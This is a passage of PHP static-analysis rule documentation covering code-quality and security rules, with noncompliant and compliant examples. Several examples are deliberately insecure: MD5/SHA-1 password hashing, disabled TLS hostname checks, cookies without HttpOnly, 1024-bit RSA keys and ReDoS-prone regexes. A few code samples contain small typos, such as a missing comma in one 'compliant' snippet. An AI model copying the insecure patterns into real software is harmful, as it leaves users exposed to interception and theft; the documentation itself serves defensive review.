  • Sanitize all user inputs before writing them in the logs. This includes checking its size, content, encoding, syntax, etc... As for any user input, validate using whitelists whenever possible. Enabling users to write what they want in your logs can have many impacts. It could for example use all your storage space or compromise your log indexing service.
  • Log enough information to monitor suspicious activities and evaluate the impact an attacker might have on your systems. Register events such as failed logins, successful logins, server side input validation failures, access denials and any important transaction.
  • Monitor the logs for any suspicious activity.

Sensitive Code Example

Basic PHP configuration:

function configure_logging() {
  error_reporting(E_RECOVERABLE_ERROR); // Sensitive
  error_reporting(32); // Sensitive

  ini_set('docref_root', '1'); // Sensitive
  ini_set('display_errors', '1'); // Sensitive
  ini_set('display_startup_errors', '1'); // Sensitive
  ini_set('error_log', "path/to/logfile"); // Sensitive - check logfile is secure
  ini_set('error_reporting', E_PARSE ); // Sensitive
  ini_set('error_reporting', 64); // Sensitive
  ini_set('log_errors', '0'); // Sensitive
  ini_set('log_errors_max_length', '512'); // Sensitive
  ini_set('ignore_repeated_errors', '1'); // Sensitive
  ini_set('ignore_repeated_source', '1'); // Sensitive
  ini_set('track_errors', '0'); // Sensitive

  ini_alter('docref_root', '1'); // Sensitive
  ini_alter('display_errors', '1'); // Sensitive
  ini_alter('display_startup_errors', '1'); // Sensitive
  ini_alter('error_log', "path/to/logfile"); // Sensitive - check logfile is secure
  ini_alter('error_reporting', E_PARSE ); // Sensitive
  ini_alter('error_reporting', 64); // Sensitive
  ini_alter('log_errors', '0'); // Sensitive
  ini_alter('log_errors_max_length', '512'); // Sensitive
  ini_alter('ignore_repeated_errors', '1'); // Sensitive
  ini_alter('ignore_repeated_source', '1'); // Sensitive
  ini_alter('track_errors', '0'); // Sensitive
}

Definition of custom loggers with psr/log

abstract class MyLogger implements \Psr\Log\LoggerInterface { // Sensitive
    // ...
}

abstract class MyLogger2 extends \Psr\Log\AbstractLogger { // Sensitive
    // ...
}

abstract class MyLogger3 {
    use \Psr\Log\LoggerTrait; // Sensitive
    // ...
}

Exceptions

No issue will be raised for logger configuration when it follows recommended settings for production servers. The following examples are all valid:

  ini_set('docref_root', '0');
  ini_set('display_errors', '0');
  ini_set('display_startup_errors', '0');

  error_reporting(E_ALL);
  error_reporting(32767);
  error_reporting(-1);
  ini_set('error_reporting', E_ALL);
  ini_set('error_reporting', 32767);
  ini_set('error_reporting', -1);

  ini_set('log_errors', '1');
  ini_set('log_errors_max_length', '0');
  ini_set('ignore_repeated_errors', '0');
  ini_set('ignore_repeated_source', '0');
  ini_set('track_errors', '1');

See

php:S138

A function that grows too large tends to aggregate too many responsibilities.

Such functions inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks.

Those smaller functions will not only be easier to understand, but also probably easier to test.

php:S2251

A for loop with a counter that moves in the wrong direction is not an infinite loop. Because of wraparound, the loop will eventually reach its stop condition, but in doing so, it will run many, many more times than anticipated, potentially causing unexpected behavior.

Noncompliant Code Example

for ($i = 0; $i < $length; $i--) { // Noncompliant
  //...
}

Compliant Solution

for ($i = 0; $i < $length; $i++) {
  //...
}

See

php:S4790

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is too easy to create hash collisions with them (little computational effort is enough to find two or more different inputs that produces the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

  • User-password storage.
  • Security token generation (used to confirm e-mail when registering on a website, reset password, etc ...).
  • To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 or bcrypt are recommended, and for password hashing, it's even better to use algorithms that not compute too "quickly", like bcrypt instead of SHA-256, because it slows brute force and dictionary based attacks.

Sensitive Code Example

$password = md5($password); // Sensitive
$password = sha1($password);   // Sensitive

Compliant Solution

$password = password_hash($password, PASSWORD_BCRYPT); // Compliant

See

php:S1600

The following predefined variables are deprecated and should be replaced by the new versions:

Replace With
$HTTP_SERVER_VARS $_SERVER
$HTTP_GET_VARS $_GET
$HTTP_POST_VARS $_POST
$HTTP_POST_FILES $_FILES
$HTTP_SESSION_VARS $_SESSION
$HTTP_ENV_VARS $_ENV
$HTTP_COOKIE_VARS $_COOKIE
$php_errormsg error_get_last()

Noncompliant Code Example

echo 'Name parameter value: ' . $HTTP_GET_VARS["name"];

Compliant Solution

echo 'Name parameter value: ' . $_GET["name"];
php:S5527

To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate.

The certificate's hostname-specific data should match the server hostname.

It's not recommended to re-invent the wheel by implementing custom hostname verification.

TLS/SSL libraries provide built-in hostname verification functions that should be used.

Noncompliant Code Example

curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE); // Noncompliant
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);  // Noncompliant

Compliant Solution

curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); // Compliant; default value is 2 to "check the existence of a common name and also verify that it matches the hostname provided" according to PHP's documentation
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, TRUE); // Compliant: From 7.66.0: treats 1 and 2 the same (https://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYHOST.html)

See

php:S1603

In PHP 4, any function with the same name as the nesting class was considered a class constructor. In PHP 5, this mechanism has been deprecated and the "__construct" method name should be used instead. If both styles are present in the same class, PHP 5 will treat the function named "__construct" as the class constructor.

This rule rule raises an issue for each method with the same name as the enclosing class.

Noncompliant Code Example

class Foo {
  function Foo(){...}
}

Compliant Solution

class Foo {
  function __construct(){...}
}
php:S1605

In PHP 5 both the way to declare a constructor and the way to make a call to a parent constructor have evolved. When declaring constructors with the PHP5 __construct name, nested calls to parent constructors should also use the new __constructor name.

Noncompliant Code Example

class Foo extends Bar {
  function __construct() {
    parent::Bar();
  }
}

Compliant Solution

class Foo extends Bar {
  function __construct() {
    parent::__construct();
  }
}
php:S1848

There is no good reason to create a new object to not do anything with it. Most of the time, this is due to a missing piece of code and so could lead to an unexpected behavior in production.

If it was done on purpose because the constructor has side-effects, then that side-effect code should be moved into a separate, static method and called directly.

Noncompliant Code Example

if ($x < 0) {
  new foo;  // Noncompliant
}

Compliant Solution

$var = NULL;
if ($x < 0) {
  $var = new foo;
}
php:S1607

When a test fails due, for example, to infrastructure issues, you might want to ignore it temporarily. But without some kind of notation about why the test is being ignored, it may never be reactivated. Such tests are difficult to address without comprehensive knowledge of the project, and end up polluting their projects.

This rule raises an issue on each test that is marked as incomplete or skipped without a message explaining the reasoning behind it.

Noncompliant Code Example

protected function setUp() {
  if (!extension_loaded('mysqli')) {
    $this->markTestSkipped(); // Noncompliant
  }
}

public function testSomething()
{
  $this->assertTrue($result->isValid());
  $this->markTestIncomplete(); // Noncompliant
}

Compliant Solution

protected function setUp() {
  if (!extension_loaded('mysqli')) {
    $this->markTestSkipped( 'The MySQLi extension is not available.' ); // Compliant
  }
}

public function testSomething()
{
  $this->assertTrue($result->isValid());
  $this->markTestIncomplete( 'Testing result validation is incomplete.' ); // Compliant
}
php:S2011

Global variables are a useful construct, but they should not be abused. Functions can access the global scope either through the global keyword or though the $GLOBALS array, but these practices considerably reduce the function's readability and reusability. Instead, the global variable should be passed as a parameter to the function.

Noncompliant Code Example

$myGlobalVariable;

function foo()
{
  global $myGlobalVariable; // Noncompliant
  $GLOBALS['myGlobalVariable']; // Noncompliant
  // ...
}

Compliant Solution

function foo($myStateVariable)
{
  // ...
}
php:S4433

An LDAP client authenticates to an LDAP server with a "bind request" which provides, among other, a simple authentication method.

Simple authentication in LDAP can be used with three different mechanisms:

  • Anonymous Authentication Mechanism by performing a bind request with a username and password value of zero length.
  • Unauthenticated Authentication Mechanism by performing a bind request with a password value of zero length.
  • Name/Password Authentication Mechanism by performing a bind request with a password value of non-zero length.

Anonymous binds and unauthenticated binds allow access to information in the LDAP directory without providing a password, their use is therefore strongly discouraged.

Noncompliant Code Example

$ldapconn = ldap_connect("ldap.example.com");

if ($ldapconn) {
    $ldapbind = ldap_bind($ldapconn); // Noncompliant; anonymous authentication, no user/password provided
}

Compliant Solution

$ldaprdn  = 'uname';
$ldappass = 'password';

$ldapconn = ldap_connect("ldap.example.com");

if ($ldapconn) {
    $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass); // Compliant
}

See

php:S2010

PHP has two sets of logical operators: && / ||, and and / or. The difference between the sets is precedence. Because and / or have a lower precedence than almost any other operator, using them instead of && / || may not have the result you expect.

Noncompliant Code Example

$have_time = true;
$have_money = false;
$take_vacation = $have_time and $have_money;  // Noncompliant. $take_vacation == true.

Compliant Solution

$have_time = true;
$have_money = false;
$take_vacation = $have_time && $have_money;  // $take_vacation == false.
php:S2255

Using cookies is security-sensitive. It has led in the past to the following vulnerabilities:

Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed.

This rule flags code that writes cookies.

Ask Yourself Whether

  • sensitive information is stored inside the cookie.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Cookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session.

Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed.

Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies.

As a side note, every information read from a cookie should be Sanitized.

Sensitive Code Example

$value = "1234 1234 1234 1234";

// Review this cookie as it seems to send sensitive information (credit card number).
setcookie("CreditCardNumber", $value, $expire, $path, $domain, true, true); // Sensitive
setrawcookie("CreditCardNumber", $value, $expire, $path, $domain, true, true); // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

php:S1045

Exceptions handlers (catch) are evaluated in the order they are written. Once a match is found, the evaluation stops.

In some contexts a catch block is dead code as it will never catch any exception:

  • If there is a handler for a base class followed by a handler for class derived from that base class, the second handler will never trigger: the handler for the base class will match the derived class, and will be the only executed handler.
  • When multiple catch blocks try to catch the same exception class, only the first one will be executed.

This rule raises an issue when a catch block catches every exception before a later catch block could catch it.

Noncompliant Code Example

class MyException extends Exception {}
class MySubException extends MyException {}

try {
  doSomething();
} catch (MyException $e) {
  echo $e;
} catch (MySubException $e) { // Noncompliant: MySubException is a subclass of MyException
  echo "Never executed";
}

Compliant Solution

class MyException extends Exception {}
class MySubException extends MyException {}

try {
  doSomething();
} catch (MySubException $e) {
  echo "Executed";
} catch (MyException $e) {
  echo $e;
}
php:S2014

$this refers to the current class instance. But static methods can be accessed without instantiating the class, and $this is not available to them. Using $this in a static context will result in a fatal error at runtime.

Noncompliant Code Example

class Clazz {
  $name=NULL;  // instance variable

  public static function foo(){
    if ($this->name != NULL) {
      // ...
    }
  }
}

Compliant Solution

class Clazz {
  $name=NULL;  // instance variable

  public static function foo($nameParam){
    if ($nameParam != NULL) {
      // ...
    }
  }
}
php:S128

When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior.

Noncompliant Code Example

switch ($myVariable) {
  case 1:
    foo();
    break;
  case 2:  // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ?
    do_something();
  default:
    do_something_else();
   break;
}

Compliant Solution

switch ($myVariable) {
  case 1:
    foo();
    break;
  case 2:
    do_something();
    break;
  default:
    do_something_else();
   break;
}

Exceptions

This rule is relaxed in following cases:

switch ($myVariable) {
  case 0:                  // Empty case used to specify the same behavior for a group of cases.
  case 1:
    do_something();
    break;
  case 2:                  // Use of continue statement
    continue;
  case 3:                  // Case includes a jump statement (exit, return, break &etc)
    exit(0);
  case 4:
    echo 'Second case, which falls through';
    // no break        <- comment is used when fall-through is intentional in a non-empty case body
  default:                 // For the last case, use of break statement is optional
    doSomethingElse();
}

See

  • MITRE, CWE-484 - Omitted Break Statement in Switch
  • CERT, MSC17-C. - Finish every set of statements associated with a case label with a break statement
  • CERT, MSC52-J. - Finish every set of statements associated with a case label with a break statement
php:S126

This rule applies whenever an if statement is followed by one or more else if statements; the final else if should be followed by an else statement.

The requirement for a final else statement is defensive programming.

The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final default clause in a switch statement.

Noncompliant Code Example

if (condition1) {
  do_something();
} else if (condition2) {
  do_something_else();
}

Compliant Solution

if (condition1) {
  do_something();
} else if (condition2) {
  do_something_else();
} else {
  throw new InvalidArgumentException('message');
}

See

php:S127

A for loop stop condition should test the loop counter against an invariant value (i.e. one that is true at both the beginning and ending of every loop iteration). Ideally, this means that the stop condition is set to a local variable just before the loop begins.

Stop conditions that are not invariant are slightly less efficient, as well as being difficult to understand and maintain, and likely lead to the introduction of errors in the future.

This rule tracks three types of non-invariant stop conditions:

  • When the loop counters are updated in the body of the for loop
  • When the stop condition depend upon a method call
  • When the stop condition depends on an object property, since such properties could change during the execution of the loop.

Noncompliant Code Example

for ($i = 0; $i < 10; $i++) {
  echo $i;
  if(condition) {
    $i = 20;
  }
}

Compliant Solution

for ($i = 0; $i < 10; $i++) {
  echo $i;
}

php:S125

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

php:S1151

The switch statement should be used only to clearly define some new branches in the control flow. As soon as a case clause contains too many statements this highly decreases the readability of the overall control flow statement. In such case, the content of the case clause should be extracted into a dedicated method.

Noncompliant Code Example

With a threshold of 5:

switch ($var) {
  case 0:  // 6 lines till next case
    methodCall1();
    methodCall2();
    methodCall3();
    methodCall4();
    break;
  default:
    break;
}

Compliant Solution

switch ($var) {
  case 0:
    doSomething();
    break;
  default:
    break;
}

function doSomething(){
  methodCall1("");
  methodCall2("");
  methodCall3("");
  methodCall4("");
}
php:S2918

ini_set changes the value of the given configuration option for the duration of the script's execution. While there may be a reason to do this, you should make sure that it's a very good reason indeed, because this is the sort of "magic" change which can cause severe teeth-gnashing and hair tearing when the script needs to be debugged.

For instance, if the user explicitly turns logging on for a script, but then the script itself uses ini_set('display_errors', 0); to turn logging back off, it is likely that every other aspect of the environment will be examined before, in desperation, the script is read to figure out where the logging is going.

Noncompliant Code Example

ini_set('display_errors', 0);  // Noncompliant
php:S2007

Defining and using global variables and global functions, when the convention dictates OOP can be confusing and difficult to use properly for multiple reasons:

  • You run the risk of name clashes.
  • Global functions must be stateless, or they can cause difficult-to-track bugs.
  • Global variables can be updated from anywhere and may no longer hold the value you expect.
  • It is difficult to properly test classes that use global functions.

Instead of being declared globally, such variables and functions should be moved into a class, potentially marked static, so they can be used without a class instance.

This rule checks that only object-oriented programming is used and that no functions or procedures are declared outside of a class.

Noncompliant Code Example

<?php

$name = "Bob"; // Noncompliant

function doSomething($arg) {   // Noncompliant
  //...
}

class MyClass {
    //...
}

Compliant Solution

<?php
class MyClass {

  public static $name = "Bob"; // Compliant

  public static function doSomething($arg) {              // Compliant
    //...
  }
  //...
}
php:S3338

file_uploads is an on-by-default PHP configuration that allows files to be uploaded to your site. Since accepting candy files from strangers is inherently dangerous, this feature should be disabled unless it is absolutely necessary for your site.

This rule raises an issue when file_uploads is not explicitly disabled.

Noncompliant Code Example

; php.ini
file_uploads=1  ; Noncompliant

Compliant Solution

; php.ini
file_uploads=0

See

php:S2000

Having characters before <?php can cause "Cannot modify header information" errors and similar problems with Ajax requests.

Noncompliant Code Example

test<?php  //Noncompliant
// ...

and

// Noncompliant; newline before opening tag
<?php
// ...

Compliant Solution

<?php
// ...
php:S3331

A cookie's domain specifies which websites should be able to read it. Left blank, browsers are supposed to only send the cookie to sites that exactly match the sending domain. For example, if a cookie was set by lovely.dream.com, it should only be readable by that domain, and not by nightmare.com or even strange.dream.com. If you want to allow sub-domain access for a cookie, you can specify it by adding a dot in front of the cookie's domain, like so: .dream.com. But cookie domains should always use at least two levels.

Cookie domains can be set either programmatically or via configuration. This rule raises an issue when any cookie domain is set with a single level, as in .com.

Ask Yourself Whether

  • the domain attribute has only one level as domain naming.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • You should check the domain attribute has been set and its value has more than one level of domain nanimg, like: sonarsource.com

Noncompliant Code Example

setcookie("TestCookie", $value, time()+3600, "/~path/", ".com", 1); // Noncompliant
session_set_cookie_params(3600, "/~path/", ".com"); // Noncompliant

// inside php.ini
session.cookie_domain=".com"; // Noncompliant

Compliant Solution

setcookie("TestCookie", $value, time()+3600, "/~path/", ".myDomain.com", 1);
session_set_cookie_params(3600, "/~path/", ".myDomain.com");

// inside php.ini
session.cookie_domain=".myDomain.com";

See

Deprecated

This rule is deprecated, and will eventually be removed.

php:S4784

Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities:

Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as /(a+)+s/ will take several seconds to evaluate the input string aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabs. The problem is that with every additional a character added to the input, the time required to evaluate the regex doubles. However, the equivalent regular expression, a+s (without grouping) is efficiently evaluated in milliseconds and scales linearly with the input size.

Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users.

This rule flags any execution of a hardcoded regular expression which has at least 3 characters and contains at at least two instances of any of the following characters *+{.

Example: (a+)*

The following functions are detected as executing regular expressions:

Note that ereg* functions have been removed in PHP 7 and PHP 5 end of life date is the 1st of January 2019. Using PHP 5 is dangerous as there will be no security fix.

This rule's goal is to guide security code reviews.

Ask Yourself Whether

  • the executed regular expression is sensitive and a user can provide a string which will be analyzed by this regular expression.
  • your regular expression engine performance decrease with specially crafted inputs and regular expressions.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not set the constant pcre.backtrack_limit to a high value as it will increase the resource consumption of PCRE functions.

Check the error codes of PCRE functions via preg_last_error.

Check whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using. Do not run vulnerable regular expressions on user input.

Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2.

Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection.

Avoid executing a user input string as a regular expression or use at least preg_quote to escape regular expression characters.

Exceptions

An issue will be created for the functions mb_ereg_search_pos, mb_ereg_search_regs and mb_ereg_search if and only if at least the first argument, i.e. the $pattern, is provided.

The current implementation does not follow variables. It will only detect regular expressions hard-coded directly in the function call.

$pattern = "/(a+)+/";
$result = eregi($pattern, $input);  // No issue will be raised even if it is Sensitive

Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: (a|aa)+, (a|a?)+.

It is a good idea to test your regular expression if it has the same pattern on both side of a "|".

See

Deprecated

This rule is deprecated; use S2631 instead.

php:S3330

When a cookie is configured with the HttpOnly attribute set to true, the browser guaranties that no client-side script will be able to read it. In most cases, when a cookie is created, the default value of HttpOnly is false and it's up to the developer to decide whether or not the content of the cookie can be read by the client-side script. As a majority of Cross-Site Scripting (XSS) attacks target the theft of session-cookies, the HttpOnly attribute can help to reduce their impact as it won't be possible to exploit the XSS vulnerability to steal session-cookies.

Ask Yourself Whether

  • the cookie is sensitive, used to authenticate the user, for instance a session-cookie
  • the HttpOnly attribute offer an additional protection (not the case for an XSRF-TOKEN cookie / CSRF token for example)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • By default the HttpOnly flag should be set to true for most of the cookies and it's mandatory for session / sensitive-security cookies.

Sensitive Code Example

In php.ini you can specify the flags for the session cookie which is security-sensitive:

session.cookie_httponly = 0;  // Sensitive: this sensitive session cookie is created with the httponly flag set to false and so it can be stolen easily in case of XSS vulnerability

Same thing in PHP code:

session_set_cookie_params($lifetime, $path, $domain, true, false);  // Sensitive: this sensitive session cookie is created with the httponly flag (the fifth argument) set to false and so it can be stolen easily in case of XSS vulnerability

If you create a custom security-sensitive cookie in your PHP code:

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, true, false); // Sensitive: this sensitive cookie is created with the httponly flag (the seventh argument) set to false  and so it can be stolen easily in case of XSS vulnerability

By default setcookie and setrawcookie functions set httpOnly flag to false (the seventh argument) and so cookies can be stolen easily in case of XSS vulnerability:

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, true); // Sensitive: a sensitive cookie is created with the httponly flag  (the seventh argument) not defined (by default set to false)
setrawcookie($name, $value, $expire, $path, $domain, true); // Sensitive: a sensitive cookie is created with the httponly flag (the seventh argument) not defined  (by default set to false)

Compliant Solution

session.cookie_httponly = 1; // Compliant: the sensitive cookie is protected against theft thanks (cookie_httponly=1)
session_set_cookie_params($lifetime, $path, $domain, true, true); // Compliant: the sensitive cookie is protected against theft thanks to the fifth argument set to true (HttpOnly=true)
$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, true, true); // Compliant: the sensitive cookie is protected against theft thanks to the seventh argument set to true (HttpOnly=true)
setrawcookie($name, $value, $expire, $path, $domain, true, true); // Compliant: the sensitive cookie is protected against theft thanks to the seventh argument set to true (HttpOnly=true)

See

php:S134

Nested if, for, while, switch, and try statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

Noncompliant Code Example

With the default threshold of 3:

  if (condition1) {                  // Compliant - depth = 1
    ...
    if (condition2) {                // Compliant - depth = 2
      ...
      for($ = 0; $i < 10; $i++) {  // Compliant - depth = 3, not exceeding the limit
        ...
        if (condition4) {            // Non-Compliant - depth = 4
          if (condition5) {          // Depth = 5, exceeding the limit, but issues are only reported on depth = 4
            ...
          }
          return;
        }
      }
    }
  }
php:S5632

Instances of classes that do not derive from the "Throwable" interface cannot be used in a PHP "throw" statement.

Many built-in exceptions such as "Exception" and the SPL exception classes do implement the "Throwable" interface and can be extended when creating custom exceptions.

This rule raises an issue when an instance of a class that does not implement the "Throwable" interface is used in a "throw" statement .

Noncompliant Code Example

class NoThrowable {}

throw new NoThrowable(); // Noncompliant

Compliant Solution

<?php

class SomeThrowable implements Throwable {
    // Implementation of the Throwable methods
}

throw new SomeThrowable(); // Compliant

class SomeCustomException extends Exception {}

throw new SomeCustomException(); // Compliant{code}
php:S2002

Just as pain is your body's way of telling you something is wrong, errors are PHP's way of telling you there's something you need to fix. Neither pain, nor PHP errors should be ignored.

Noncompliant Code Example

@doSomethingDangerous($password);  // Noncompliant; '@' silences errors from function call

Compliant Solution

doSomethingDangerous($password);
php:S131

The requirement for a final case default clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken. Even when the switch covers all current values of an enum, a default case should still be used because there is no guarantee that the enum won't be extended.

Noncompliant Code Example

switch ($param) {  //missing default clause
  case 0:
    do_something();
    break;
  case 1:
    do_something_else();
    break;
}

Compliant Solution

switch ($param) {
  case 0:
    do_something();
    break;
  case 1:
    do_something_else();
    break;
  default:
    error();
    break;
}

See

php:S2123

A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug.

Noncompliant Code Example

  $i = 0;
  $i = $i++; // Noncompliant; i is still zero

Compliant Solution

  $i = 0;
  $i++;
php:S3333

The open_basedir configuration in php.ini limits the files the script can access using, for example, include and fopen(). Leave it out, and there is no default limit, meaning that any file can be accessed. Include it, and PHP will refuse to access files outside the allowed path.

open_basedir should be configured with a directory, which will then be accessible recursively. However, the use of . (current directory) as an open_basedir value should be avoided since it's resolved dynamically during script execution, so a chdir('/') command could lay the whole server open to the script.

This is not a fool-proof configuration; it can be reset or overridden at the script level. But its use should be seen as a minimum due diligence step. This rule raises an issue when open_basedir is not present in php.ini, and when open_basedir contains root, or the current directory (.) symbol.

Noncompliant Code Example

; php.ini try 1
; open_basedir="${USER}/scripts/data"  Noncompliant; commented out

; php.ini try 2
open_basedir="/:${USER}/scripts/data"  ; Noncompliant; root directory in the list

Compliant Solution

; php.ini try 1
open_basedir="${USER}/scripts/data"

See

php:S1155

Using count() to test for emptiness works, but using empty() makes the code more readable and can be more performant

Noncompliant Code Example

if (count($a) > 0) { // Noncompliant
 echo $a[0];
}

Compliant Solution

if (!empty($a)) {
  echo $a[0];
}
php:S2001

Deprecated language features are those that have been retained temporarily for backward compatibility, but which will eventually be removed from the language. In effect, deprecation announces a grace period to allow the smooth transition from the old features to the new ones. In that period, no use of the deprecated features should be added to the code, and all existing uses should be gradually removed.

The following functions were deprecated in PHP 5:

Deprecated Use Instead
call_user_method() call_user_func()
call_user_method_array() call_user_func_array()
define_syslog_variables()
dl()
ereg() preg_match()
ereg_replace() preg_replace() (note that this is deprecated in PHP 5.5)
eregi() preg_match() with 'i' modifier
eregi_replace() preg_replace() with 'i' modifier
set_magic_quotes_runtime() and its alias, magic_quotes_runtime()
session_register() $_SESSION superglobal
session_unregister() $_SESSION superglobal
session_is_registered() $_SESSION superglobal
set_socket_blocking() stream_set_blocking()
split() preg_split()
spliti() preg_split() with 'i' modifier
sql_regcase()
mysql_db_query() mysql_select_db() and mysql_query()
mysql_escape_string() mysql_real_escape_string()
Passing locale category names as strings Use the LC_* family of constants

The following functions were deprecated in PHP 7:

Deprecated Use Instead
__autoload() spl_autoload_register()
create_function() anonymous function
parse_str() without second argument parse_str() with second argument
gmp_random() gmp_random_bits() or gmp_random_range()
each() foreach
assert() with string argument
Defining case-insensitive constants by calling define() with true as third parameter define("myconst", $value) or define("myconst", $value, false)
FILTER_FLAG_SCHEME_REQUIRED and FILTER_FLAG_HOST_REQUIRED flags FILTER_VALIDATE_URL flag
fgetss() function, "string.strip_tags" stream filter name, SplFileObject::fgetss() method and gzgetss() function
mbregex_encoding(), mbereg(), mberegi(), mbereg_replace(), mberegi_replace(), mbsplit(), mbereg_match(), mbereg_search(), mbereg_search_pos(), mbereg_search_regs(), mbereg_search_init(), mbereg_search_getregs(), mbereg_search_getpos(), mbereg_search_setpos() Use the
corresponding mb_ereg_*() variants instead
string search functions with integer needle (stristr, strrchr, strstr, strripos, stripos, strrpos, strpos, strchr) use a string needle instead
image2wbmp() imagewbmp()
Normalizer::NONE
Defining an assert() function inside a namespace use the standard assert() function

See

php:S3332

Cookies without fixed lifetimes or expiration dates are known as non-persistent, or "session" cookies, meaning they last only as long as the browser session, and poof away when the browser closes. Cookies with expiration dates, "persistent" cookies, are stored/persisted until those dates.

Non-persistent cookies should be used for the management of logged-in sessions on web sites. To make a cookie non-persistent, simply omit the expires attribute.

This rule raises an issue when expires is set for a session cookie, either programmatically or via configuration, such as session.cookie_lifetime.

See

Deprecated

This rule is deprecated, and will eventually be removed.

php:S2004

Nesting functions can quickly turn your code into "spaghetti code". Such code is hard to read, refactor and therefore to maintain.

Noncompliant Code Example

With the default threshold of 3:

function f () {
  function f_inner () {
    function f_inner_inner() {
      function f_inner_inner_inner() { // Noncompliant
      }
    }
  }
}
php:S3335

The cgi.force_redirect php.ini configuration is on by default, and it prevents unauthenticated access to scripts when PHP is running as a CGI. Unfortunately, it must be disabled on IIS, OmniHTTPD and Xitami, but in all other cases it should be on.

This rule raises an issue when when cgi.force_redirect is explicitly disabled.

Noncompliant Code Example

; php.ini
cgi.force_redirect=0  ; Noncompliant

See

php:S4426

Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks.

NIST recommendations will be checked for these use-cases:

Digital Signature Generation and Verification:

  • p ≥ 2048 AND q ≥ 224 for DSA (p is key length and q the modulus length)
  • n ≥ 2048 for RSA (n is the key length)

Key Agreement:

  • p ≥ 2048 AND q ≥ 224 for DH and MQV
  • n ≥ 224 for ECDH and ECMQV (Examples: secp192r1 is a non-compliant curve (n < 224) but secp224k1 is compliant (n >= 224))

Symmetric keys:

  • key length ≥ 128 bits

This rule will not raise issues for ciphers that are considered weak (no matter the key size) like DES, Blowfish.

Noncompliant Code Example

$config = array(
    "digest_alg" => "sha512",
    "private_key_bits" => 1024, // Noncompliant
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
);
$res = openssl_pkey_new($config);

Compliant Solution

$config = array(
    "digest_alg" => "sha512",
    "private_key_bits" => 2048 // Compliant
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
);
$res = openssl_pkey_new($config);

See

php:S2245

Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities:

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

As the rand() and mt_rand functions rely on a pseudorandom number generator, it should not be used for security-critical applications or for protecting sensitive data.

Ask Yourself Whether

  • the code using the generated value requires it to be unpredictable. It is the case for all encryption mechanisms or when a secret value, such as a password, is hashed.
  • the function you use generates a value which can be predicted (pseudo-random).
  • the generated value is used multiple times.
  • an attacker can access the generated value.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Use functions which rely on a cryptographically strong random number generator such as random_int() or random_bytes() or openssl_random_pseudo_bytes()
  • When using openssl_random_pseudo_bytes(), provide and check the crypto_strong parameter
  • Use the generated random values only once.
  • You should not expose the generated random value. If you have to store it, make sure that the database or file is secure.

Sensitive Code Example

$random = rand();
$random2 = mt_rand(0, 99);

Compliant Solution

$randomInt = random_int(0,99); // Compliant; generates a cryptographically secure random integer

See

php:S2003

At root, require, require_once, include, and include_once all perform the same task of including one file in another. However, the way they perform that task differs, and they should not be used interchangeably.

require includes a file but generates a fatal error if an error occurs in the process.

include also includes a file, but generates only a warning if an error occurs.

Predictably, the difference between require and require_once is the same as the difference between include and include_once - the "_once" versions ensure that the specified file is only included once.

Because including the same file multiple times could have unpredictable results, the "once" versions are preferred.

Because include_once generates only warnings, it should be used only when the file is being included conditionally, i.e. when all possible error conditions have been checked beforehand.

Noncompliant Code Example

include 'code.php';  //Noncompliant; not a "_once" usage and not conditional
include $user.'_history.php'; // Noncompliant
